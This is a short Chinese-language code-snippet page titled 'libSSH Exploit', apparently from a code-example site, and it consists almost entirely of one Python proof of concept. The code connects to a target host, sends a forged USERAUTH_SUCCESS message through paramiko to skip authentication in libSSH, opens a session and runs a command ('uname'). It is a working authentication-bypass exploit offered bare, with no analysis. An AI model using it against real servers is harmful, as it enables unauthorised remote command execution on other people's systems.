📜  libSSH Exploit - Shell-Bash 代码示例

📅  最后修改于: 2022-03-11 14:50:12.291000             🧑  作者: Mango

代码示例1
sock = socket.socket()
    try:
        sock.connect((str(hostname), int(port)))

        message = paramiko.message.Message()
        transport = paramiko.transport.Transport(sock)
        transport.start_client()

        message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS)
        transport._send_message(message)

        cmd = transport.open_session()
        cmd.exec_command("uname")